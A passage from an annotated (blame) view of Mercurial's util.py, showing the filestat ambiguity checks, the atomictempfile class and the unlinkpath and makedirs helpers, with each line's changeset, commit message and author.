parents:
32746
diff
changeset
|
2395 |
try: |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2396 |
return self.stat is None and old.stat is None |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2397 |
except AttributeError: |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2398 |
return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2399 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2400 |
def isambig(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2401 |
"""Examine whether new (= self) stat is ambiguous against old one |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2402 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2403 |
"S[N]" below means stat of a file at N-th change: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2404 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2405 |
- S[n-1].ctime < S[n].ctime: can detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2406 |
- S[n-1].ctime == S[n].ctime |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2407 |
- S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2408 |
- S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2409 |
- S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2410 |
- S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2411 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2412 |
Case (*2) above means that a file was changed twice or more at |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2413 |
same time in sec (= S[n-1].ctime), and comparison of timestamp |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2414 |
is ambiguous. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2415 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2416 |
Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2417 |
timestamp is ambiguous". |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2418 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2419 |
But advancing mtime only in case (*2) doesn't work as |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2420 |
expected, because naturally advanced S[n].mtime in case (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2421 |
might be equal to manually advanced S[n-1 or earlier].mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2422 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2423 |
Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2424 |
treated as ambiguous regardless of mtime, to avoid overlooking |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2425 |
by confliction between such mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2426 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2427 |
Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2428 |
S[n].mtime", even if size of a file isn't changed. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2429 |
""" |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2430 |
try: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2431 |
return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2432 |
except AttributeError: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2433 |
return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2434 |
|
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2435 |
def avoidambig(self, path, old): |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2436 |
"""Change file stat of specified path to avoid ambiguity |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2437 |
|
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2438 |
'old' should be previous filestat of 'path'. |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2439 |
|
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2440 |
This skips avoiding ambiguity, if a process doesn't have |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2441 |
appropriate privileges for 'path'. This returns False in this |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2442 |
case. |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2443 |
|
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2444 |
Otherwise, this returns True, as "ambiguity is avoided". |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2445 |
""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2446 |
advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2447 |
try: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2448 |
os.utime(path, (advanced, advanced)) |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2449 |
except OSError as inst: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2450 |
if inst.errno == errno.EPERM: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2451 |
# utime() on the file created by another user causes EPERM, |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2452 |
# if a process doesn't have appropriate privileges |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2453 |
return False |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2454 |
raise |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2455 |
return True |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2456 |
|
29298
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2457 |
def __ne__(self, other): |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2458 |
return not self == other |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2459 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2460 |
|
8778
c5f36402daad
use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8631
diff
changeset
|
2461 |
class atomictempfile(object): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2462 |
"""writable file object that atomically updates a file |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2463 |
|
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
2464 |
All writes will go to a temporary copy of the original file. Call |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2465 |
close() when you are done writing, and atomictempfile will rename |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2466 |
the temporary copy to the original name, making the changes |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2467 |
visible. If the object is destroyed without being closed, all your |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2468 |
writes are discarded. |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2469 |
|
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2470 |
checkambig argument of constructor is used with filestat, and is |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2471 |
useful only if target file is guarded by any lock (e.g. repo.lock |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2472 |
or repo.wlock). |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2473 |
""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2474 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2475 |
def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2476 |
self.__name = name # permanent name |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2477 |
self._tempname = mktempcopy( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2478 |
name, |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2479 |
emptyok=(b'w' in mode), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2480 |
createmode=createmode, |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2481 |
enforcewritable=(b'w' in mode), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2482 |
) |
41289
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2483 |
|
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2484 |
self._fp = posixfile(self._tempname, mode) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2485 |
self._checkambig = checkambig |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2486 |
|
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2487 |
# delegated methods |
29393
50269a4dce61
atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents:
29367
diff
changeset
|
2488 |
self.read = self._fp.read |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2489 |
self.write = self._fp.write |
17237
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
2490 |
self.seek = self._fp.seek |
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
2491 |
self.tell = self._fp.tell |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2492 |
self.fileno = self._fp.fileno |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2493 |
|
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2494 |
def close(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2495 |
if not self._fp.closed: |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2496 |
self._fp.close() |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2497 |
filename = localpath(self.__name) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2498 |
oldstat = self._checkambig and filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2499 |
if oldstat and oldstat.stat: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2500 |
rename(self._tempname, filename) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2501 |
newstat = filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2502 |
if newstat.isambig(oldstat): |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2503 |
# stat of changed file is ambiguous to original one |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2504 |
advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2505 |
os.utime(filename, (advanced, advanced)) |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2506 |
else: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2507 |
rename(self._tempname, filename) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2508 |
|
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2509 |
def discard(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2510 |
if not self._fp.closed: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2511 |
try: |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2512 |
os.unlink(self._tempname) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2513 |
except OSError: |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2514 |
pass |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2515 |
self._fp.close() |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2516 |
|
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2517 |
def __del__(self): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2518 |
if safehasattr(self, '_fp'): # constructor actually did something |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2519 |
self.discard() |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2520 |
|
29394
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2521 |
def __enter__(self): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2522 |
return self |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2523 |
|
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2524 |
def __exit__(self, exctype, excvalue, traceback): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2525 |
if exctype is not None: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2526 |
self.discard() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2527 |
else: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2528 |
self.close() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2529 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2530 |
|
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2531 |
def unlinkpath(f, ignoremissing=False, rmdir=True): |
31539 | 2532 |
"""unlink and remove the directory if it is empty""" |
31541
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2533 |
if ignoremissing: |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2534 |
tryunlink(f) |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2535 |
else: |
31539 | 2536 |
unlink(f) |
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2537 |
if rmdir: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2538 |
# try removing directories that might now be empty |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2539 |
try: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2540 |
removedirs(os.path.dirname(f)) |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2541 |
except OSError: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2542 |
pass |
31539 | 2543 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2544 |
|
31540
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2545 |
def tryunlink(f): |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2546 |
"""Attempt to remove a file, ignoring ENOENT errors.""" |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2547 |
try: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2548 |
unlink(f) |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2549 |
except OSError as e: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2550 |
if e.errno != errno.ENOENT: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2551 |
raise |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2552 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2553 |
|
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2554 |
def makedirs(name, mode=None, notindexed=False): |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2555 |
"""recursive directory creation with parent mode inheritance |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2556 |
|
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2557 |
Newly created directories are marked as "not to be indexed by |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2558 |
the content indexing service", if ``notindexed`` is specified |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2559 |
for "write" mode access. |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2560 |
""" |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2561 |
try: |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2562 |
makedir(name, notindexed) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2563 |
except OSError as err: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2564 |
if err.errno == errno.EEXIST: |
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2565 |
return |
15058
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2566 |
if err.errno != errno.ENOENT or not name: |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2567 |
raise |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2568 |
parent = os.path.dirname(os.path.abspath(name)) |
81f33be0ea79
